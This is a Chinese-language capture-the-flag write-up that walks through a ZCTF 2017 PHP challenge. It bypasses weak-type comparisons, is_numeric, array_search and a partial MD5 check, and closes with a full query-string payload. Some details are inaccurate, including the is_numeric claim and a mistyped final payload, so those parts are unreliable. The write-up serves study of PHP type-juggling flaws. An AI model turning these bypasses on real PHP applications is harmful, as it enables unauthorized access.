这个 题目是一天朋友发给我的,先po代码
<?php
$l01o=0;
$o1l0=0;
$o10l=0;
$lo10=0;
if (isset($_GET['vhghf']))
{
$vhghf = $_GET['vhghf'];
$vhghf=="1"?die("ha?"):NULL;
switch ($vhghf)
{
case 0:
case 1:
$l01o=1;
break;
}
}
$dfgdf=(array)json_decode(@$_GET['dfgdf']);
if(is_array($dfgdf)){
is_numeric(@$dfgdf["gvnghdjk"])?die("ha?"):NULL;
if(@$dfgdf["gvnghdjk"]){
($dfgdf["gvnghdjk"]>2017)?$o1l0=1:NULL;
}
if(is_array(@$dfgdf["uxcndffznb"])){
if(count($dfgdf["uxcndffznb"])!==2 OR !is_array($dfgdf["uxcndffznb"][0])) die("ha?");
$kghdhfghdfgbcvhgffg = array_search("ZCTF", $dfgdf["uxcndffznb"]);
$kghdhfghdfgbcvhgffg===false?die("ha?"):NULL;
foreach($dfgdf["uxcndffznb"] as $key=>$val){
$val==="ZCTF"?die("ha?"):NULL;
}
$o10l=1;
}
}
$cdggjydcnfsdyjaq = $_GET['cdggjydcnfsdyjaq'];
if ($cdggjydcnfsdyjaq != '15562') {
if (strstr($cdggjydcnfsdyjaq, '2017ZCTF')) {
if (substr(md5($cdggjydcnfsdyjaq),8,16) == substr(md5('15562'),8,16)) {
$lo10=1;
}
}
}
if($l01o && $o1l0 && $o10l && $lo10){
echo 'flag</br>';
}
var_dump($dfgdf["uxcndffznb"]);
?>
$l01o=0;
$o1l0=0;
$o10l=0;
$lo10=0;
可以看到这四个变量 分别代表四个值 大体上是需要四个数值均为一,即可完成
一段段代码来看下吧
第一段:
if (isset($_GET['vhghf']))
{
$vhghf = $_GET['vhghf'];
$vhghf=="1"?die("ha?"):NULL;
switch ($vhghf)
{
case 0:
case 1:
$l01o=1;
break;
}
}
主是在于vhgf==1上面 这里介绍两种方法 第一种是提交vhgf=1e 这利用的是科学计数法。第二种是vhgf=1[] 这是利用数组名字bypass掉,详情可以百度下php黑魔法。是关于弱类型的比较
$dfgdf=(array)json_decode(@$_GET['dfgdf']);
if(is_array($dfgdf)){
is_numeric(@$dfgdf["gvnghdjk"])?die("ha?"):NULL;
if(@$dfgdf["gvnghdjk"]){
($dfgdf["gvnghdjk"]>2017)?$o1l0=1:NULL;
}
is_numeric一直是安全核心的重点,他有个比较出名的bypass方法,一直为多种注入提供了可利用的攻击手段
is_numeric(23333aa)==true
所以可以做到比较的bypass。
以此做到第二个变量赋值成功。
if(is_array(@$dfgdf["uxcndffznb"])){
if(count($dfgdf["uxcndffznb"])!==2 OR !is_array($dfgdf["uxcndffznb"][0])) die("ha?");
$kghdhfghdfgbcvhgffg = array_search("ZCTF", $dfgdf["uxcndffznb"]);
$kghdhfghdfgbcvhgffg===false?die("ha?"):NULL;
foreach($dfgdf["uxcndffznb"] as $key=>$val){
$val==="ZCTF"?die("ha?"):NULL;
}
$o10l=1;
这段比较抽象了。
我给出的payload是这样的https://php.net/manual/zh/function.array-search.php
如果 needle 在 haystack 中出现不止一次,则返回第一个匹配的键。
然而0是php的一种弱匹配类型。因此匹配到了0的位置忽略了[0]的['zctf'] 而选取到了[1]的[0],所以返回了1,然后因为弱类型(==),所以默认返回的int(1)==bool(true)
然后这个是我扣取出来的代码。根据题目 提交的需要是json格式。所以需要在line4下多一句
echo $json;
既是 dfgdf={"gvnghdjk":"23333aa","uxcndffznb":[["ZCTF"],0]}
$cdggjydcnfsdyjaq = $_GET['cdggjydcnfsdyjaq'];
if ($cdggjydcnfsdyjaq != '15562') {
if (strstr($cdggjydcnfsdyjaq, '2017ZCTF')) {
if (substr(md5($cdggjydcnfsdyjaq),8,16) == substr(md5('15562'),8,16)) {
$lo10=1;
}
}
}
这个就很简单了。首先定死了提交的数字不是15562,这样就不能直接提交(md5('15562')上去
接下来则是判断字符串之中需要有2017ZCTF,明显题目就是无脑的爆破了。。。 - -
cdggjydcnfsdyjaq=x2017ZCTF24834
然后po上最后的payload:
vhghf=1[]&dfgdf{"gvnghdjk":"2333aaa","uxcndffznb[["ZCTF"],0]}&cdggjydcnfsdyjaq=x2017ZCTF24834
END。。